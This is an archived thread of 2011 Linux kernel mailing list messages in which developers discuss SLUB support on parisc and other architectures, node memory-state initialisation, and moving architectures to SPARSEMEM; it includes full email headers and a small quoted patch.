Original-Received: from smtp108.prem.mail.ac4.yahoo.com (HELO smtp108.prem.mail.ac4.yahoo.com) (76.13.13.47)
  by server-3.tower-144.messagelabs.com with SMTP; 21 Apr 2011 18:33:39 -0000
Original-Received: (qmail 57019 invoked from network); 21 Apr 2011 18:33:42 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp108.prem.mail.ac4.yahoo.com with SMTP; 21 Apr 2011 11:33:42 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: 3WPr9KIVM1nKXY4tGgWRKNkhesw0id7HUXuIRmiwEK9G6Xm
 vplItZHSXu.TNoQ4UKhLeRdr.r4pStxvSEOHrF1A8rvGHasoQHKlncOKo.kY
 snN7fIw40Q.9XfdHVs5zWbHmbAyOzJbE9u7Pa2rsypzMGZE8fPdVUsrxUje9
 19Vktg2z89Q5p0sQ7_ajoaflV2193FtBmpO84TZQqBL8UjsnOJ1TyRHqH.UU
 SNu35txc8D3mqsD2T2oUWjy3Xiltfk03MUKEX5dga2JKflGc8BeSAJp4nv0J
 qzUA5snt.55beBftmWusovC5Tq7ITXJI3cXi7IB16B7h3YX0.
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCyhB-0001lT-Kd; Thu, 21 Apr 2011 13:33:41 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303403847.4025.11.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61810 gmane.linux.kernel:1129655 gmane.linux.ports.parisc:3640
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61810>

On Thu, 21 Apr 2011, James Bottomley wrote:

> On Thu, 2011-04-21 at 22:16 +0900, KOSAKI Motohiro wrote:
> > > This should fix the remaining architectures so they can use CONFIG_SLUB,
> > > but I hope it can be tested by the individual arch maintainers like you
> > > did for parisc.
> >
> > ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
> > N_NORMAL_MEMORY automatically if my understand is correct.
> > (plz see free_area_init_nodes)
> >
> > I guess alpha and m32r have no active developrs. only m68k seems to be need
> > fix and we have a chance to get a review...
>
> Actually, it's not quite a fix yet, I'm afraid.  I've just been
> investigating why my main 4 way box got slower with kernel builds:
> Apparently userspace processes are now all stuck on CPU0, so we're
> obviously tripping over some NUMA scheduling stuff that's missing.

The simplest solution may be to move these arches to use SPARSE instead.
AFAICT this was relatively easy for the arm guys.

Here is short guide on how to do that from the mips people:

http://www.linux-mips.org/archives/linux-mips/2008-08/msg00154.html

http://mytechkorner.blogspot.com/2010/12/sparsemem.html

Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
the europeans may be off for awhile)

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Hansen <dave@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 11:45:37 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1303411537.9048.3583.camel@nimitz>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303411567 10099 80.91.229.12 (21 Apr 2011 18:46:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 18:46:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 20:46:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCyt5-0002qj-4k
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 20:45:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751888Ab1DUSp6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 14:45:58 -0400
Original-Received: from e32.co.us.ibm.com ([32.97.110.150]:45929 "EHLO
	e32.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751816Ab1DUSp5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 14:45:57 -0400
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by e32.co.us.ibm.com (8.14.4/8.13.1) with ESMTP id p3LIYm5b009124;
	Thu, 21 Apr 2011 12:34:48 -0600
Original-Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id p3LIjoRj041180;
	Thu, 21 Apr 2011 12:45:52 -0600
Original-Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1])
	by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p3LIjd1D027698;
	Thu, 21 Apr 2011 12:45:46 -0600
Original-Received: from [9.48.60.203] (sig-9-48-60-203.mts.ibm.com [9.48.60.203])
	by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p3LIjbx6027388;
	Thu, 21 Apr 2011 12:45:38 -0600
In-Reply-To: <alpine.DEB.2.00.1104211328000.5741@router.home>
X-Mailer: Evolution 2.30.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3641 gmane.linux.kernel.mm:61812 gmane.linux.kernel:1129658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3641>

On Thu, 2011-04-21 at 13:33 -0500, Christoph Lameter wrote:
> http://www.linux-mips.org/archives/linux-mips/2008-08/msg00154.html
> 
> http://mytechkorner.blogspot.com/2010/12/sparsemem.html
> 
> Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
> the europeans may be off for awhile) 

Yup, for sure.  It's also interesting how much code ppc64 removed when
they did this:

http://lists.ozlabs.org/pipermail/linuxppc64-dev/2005-November/006646.html

Please cc me on patches.  Or, if nobody else was planning on doing it, I
can take a stab at doing SPARSEMEM on one of the arches.  I won't be
able to _run_ it outside of qemu, but it might be quicker than someone
starting from scratch.

Was it really just m68k and parisc that need immediate attention?

-- Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 12:33:46 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211230030.5829@chino.kir.corp.google.com>
References: <1303337718.2587.51.camel@mulgrave.site> <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com> <20110421221712.9184.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303414449 27337 80.91.229.12 (21 Apr 2011 19:34:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 19:34:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 21 21:34:03 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QCzda-00050A-69
	for glk-linux-kernel-3@lo.gmane.org; Thu, 21 Apr 2011 21:34:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753498Ab1DUTdy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 21 Apr 2011 15:33:54 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:22364 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752719Ab1DUTdw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 21 Apr 2011 15:33:52 -0400
Original-Received: from hpaq12.eem.corp.google.com (hpaq12.eem.corp.google.com [172.25.149.12])
	by smtp-out.google.com with ESMTP id p3LJXpEK005778
	for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 12:33:51 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303414431; bh=o2L/etVUQYa0sjp82gWR4JWotbE=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=nXIE7SctuFCaUkDOodBgdpGZS84o4AZzrbVvnjab1kgx+SQDpJHSCOXa9BkSoCYDZ
	 vlmKYThRRUhscxrzqzoYA==
Original-Received: from pwi10 (pwi10.prod.google.com [10.241.219.10])
	by hpaq12.eem.corp.google.com with ESMTP id p3LJXm5I005891
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 12:33:49 -0700
Original-Received: by pwi10 with SMTP id 10so37038pwi.28
        for <linux-kernel@vger.kernel.org>; Thu, 21 Apr 2011 12:33:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=YIm6AOf0ESvjBCSy18fBF1W/zH3113ux4Ox04eV3Iug=;
        b=NumYBfQh5sJFwgpC5gCRm0Mywl4eIhgd5rICvDoKg8ScTTT/8ilx4Ej5xOb1m99rsa
         B0AaYxggPn3q5C9QTfJw==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=fkS85yKwWvUS+vVIEnmQNLq7Ru7xRSP7RAL0O3HxYeSOAhOHMMLVCYRpqaS+3OEbUk
         sXAIvyxXkvLJsKEpsPdQ==
Original-Received: by 10.142.125.1 with SMTP id x1mr148874wfc.296.1303414427969;
        Thu, 21 Apr 2011 12:33:47 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id o1sm2911207wfl.9.2011.04.21.12.33.46
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 12:33:46 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20110421221712.9184.A69D9226@jp.fujitsu.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1129684 gmane.linux.kernel.mm:61815 gmane.linux.ports.parisc:3642
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1129684>

On Thu, 21 Apr 2011, KOSAKI Motohiro wrote:

> ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
> N_NORMAL_MEMORY automatically if my understand is correct.
> (plz see free_area_init_nodes)
> 

ia64 doesn't enable CONFIG_HIGHMEM, so it never gets set via this generic 
code; mips also doesn't enable it for all configs even for 32-bit.

So we'll either want to take check_for_regular_memory() out from under 
CONFIG_HIGHMEM and do it for all configs or teach slub to use 
N_HIGH_MEMORY rather than N_NORMAL_MEMORY.

From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 12:38:22 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303414724 28954 80.91.229.12 (21 Apr 2011 19:38:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 19:38:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 21:38:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCzhv-0008Gd-0r
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 21:38:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752857Ab1DUTia (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 15:38:30 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:11202 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752253Ab1DUTi3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 15:38:29 -0400
Original-Received: from kpbe17.cbf.corp.google.com (kpbe17.cbf.corp.google.com [172.25.105.81])
	by smtp-out.google.com with ESMTP id p3LJcRDx001878
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 12:38:27 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303414708; bh=BfzFmFUqOcObT9YUFZi6uBgv00M=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=NBbVYbczsWab+6CePe05kthZ075JyN5hrTGtwDqjts2omR+aapD5nmX3kEm/TOmnt
	 YtpPQiuqKmhh6PGTzNMbQ==
Original-Received: from pvg12 (pvg12.prod.google.com [10.241.210.140])
	by kpbe17.cbf.corp.google.com with ESMTP id p3LJcPpp007813
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 12:38:25 -0700
Original-Received: by pvg12 with SMTP id 12so27163pvg.19
        for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 12:38:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=Fk17sayrJVJtXoE+YhyRaZR76TaTVNPnIv+Fbs+m0AY=;
        b=b8s3TKEgyvzVftdrDkWXqxFEapF4vwerYSbUh6aQAC+wlfDqyU+cnyPsXWiP3gWN2K
         fKz+auTCRxQf3KAjwTWw==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=AIi47lOxf9Ix85BMuQ6/Zj9dT2rwq+rMI9fQeGgsJH6xCLtB+V8Da8EjQK3+EPYBxk
         bskSrCPv2Dwh/OBlXqaQ==
Original-Received: by 10.68.63.106 with SMTP id f10mr396567pbs.380.1303414704941;
        Thu, 21 Apr 2011 12:38:24 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id v6sm1038104pbm.76.2011.04.21.12.38.23
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 12:38:23 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20110421220351.9180.A69D9226@jp.fujitsu.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3643 gmane.linux.kernel.mm:61816 gmane.linux.kernel:1129686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3643>

On Thu, 21 Apr 2011, KOSAKI Motohiro wrote:

> > diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> > --- a/arch/parisc/mm/init.c
> > +++ b/arch/parisc/mm/init.c
> > @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
> >  	}
> >  	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
> >  
> > -	for (i = 0; i < npmem_ranges; i++)
> > +	for (i = 0; i < npmem_ranges; i++) {
> > +		node_set_state(i, N_NORMAL_MEMORY);
> >  		node_set_online(i);
> > +	}
> >  #endif
> 
> 
> I'm surprised this one. If arch code doesn't initialized N_NORMAL_MEMORY,
> (or N_HIGH_MEMORY. N_HIGH_MEMORY == N_NORMAL_MEMORY if CONFIG_HIGHMEM=n)
> kswapd is created only at node0. wow.
> 
> The initialization must be necessary even if !NUMA, I think. ;-)
> Probably we should have revisit all arch code when commit 9422ffba4a 
> (Memoryless nodes: No need for kswapd) was introduced, at least.
> 

I think we may want to just convert slub (and the memory controller) to 
use N_HIGH_MEMORY rather than N_NORMAL_MEMORY since nothing else uses it 
and the generic code seems to handle N_HIGH_MEMORY for all configs 
appropriately.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 15:02:42 -0500 (CDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211500170.5741@router.home>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303416176 5267 80.91.229.12 (21 Apr 2011 20:02:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 20:02:56 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 22:02:49 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD05P-0008RB-TI
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 22:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753790Ab1DUUCr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 16:02:47 -0400
Original-Received: from smtp108.prem.mail.ac4.yahoo.com ([76.13.13.47]:45997 "HELO
	smtp108.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753200Ab1DUUCr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 16:02:47 -0400
Original-Received: (qmail 89073 invoked from network); 21 Apr 2011 20:02:45 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp108.prem.mail.ac4.yahoo.com with SMTP; 21 Apr 2011 13:02:45 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: 1IX.4P0VM1lcwwca2bzo00B1v1OHYyJxxoSaKBPwgkPbQoO
 2e0Gx0wRO0hk37IWZ5ri88mdi565mtUdVM4d_GodcWKBsG1kIU.WeNeYQBH7
 0qQr4pF6q2y_AsFiygxGnv9h7k9zSndPfoAiS_QC57lSsH4x4zW2l4RfuBKK
 YoJ3x1Mb7djwaK.2POhq4sDDC3zvDeCjb_m2r7DGb6j9ymqHVnei4kGpKOyT
 q9jkdRE90xm_BcVvXwWAV2W1hMDe2eAKEtlIndnUkCiGfYlU96jnAXTgdJFi
 .38vjhL43VIUp.aMp8UMecL0xMBkc9FVCt04J7TIBfQfMutISar0Ixtxityr
 EEI1Ol2G_b3weJrA2qwyfKp4K
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QD05M-0002HS-UN; Thu, 21 Apr 2011 15:02:44 -0500
X-X-Sender: cl@router.home
In-Reply-To: <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3644 gmane.linux.kernel.mm:61818 gmane.linux.kernel:1129702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3644>

On Thu, 21 Apr 2011, David Rientjes wrote:

> I think we may want to just convert slub (and the memory controller) to
> use N_HIGH_MEMORY rather than N_NORMAL_MEMORY since nothing else uses it
> and the generic code seems to handle N_HIGH_MEMORY for all configs
> appropriately.

In 32 bit configurations some architectures (like x86) provide nodes
that have only high memory. Slab allocators only handle normal memory.
SLAB operates in a kind of degraded mode in that case by falling back for
each allocation to the nodes that have normal memory.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 15:05:15 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <1303416315.4025.36.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303416334 6231 80.91.229.12 (21 Apr 2011 20:05:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 20:05:34 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>, David Rientjes
 <rientjes@google.com>, Pekka Enberg <penberg@kernel.org>, Michal Hocko
 <mhocko@suse.cz>, Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins
 <hughd@google.com>, linux-mm@kvack.org, LKML
 <linux-kernel@vger.kernel.org>,  linux-parisc@vger.kernel.org, Ingo Molnar
 <mingo@elte.hu>, x86 maintainers <x86@kernel.org>, Tejun Heo
 <tj@kernel.org>, Dave Hansen <dave@linux.vnet.ibm.com>,  Mel Gorman
 <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: owner-linux-mm@kvack.org Thu Apr 21 22:05:27 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QD07z-0002dF-2t
	for glkm-linux-mm-2@m.gmane.org; Thu, 21 Apr 2011 22:05:27 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A80488D0040; Thu, 21 Apr 2011 16:05:24 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 76C028D003B; Thu, 21 Apr 2011 16:05:23 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A2D368D0040; Thu, 21 Apr 2011 16:05:23 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail172.messagelabs.com (mail172.messagelabs.com [216.82.254.3])
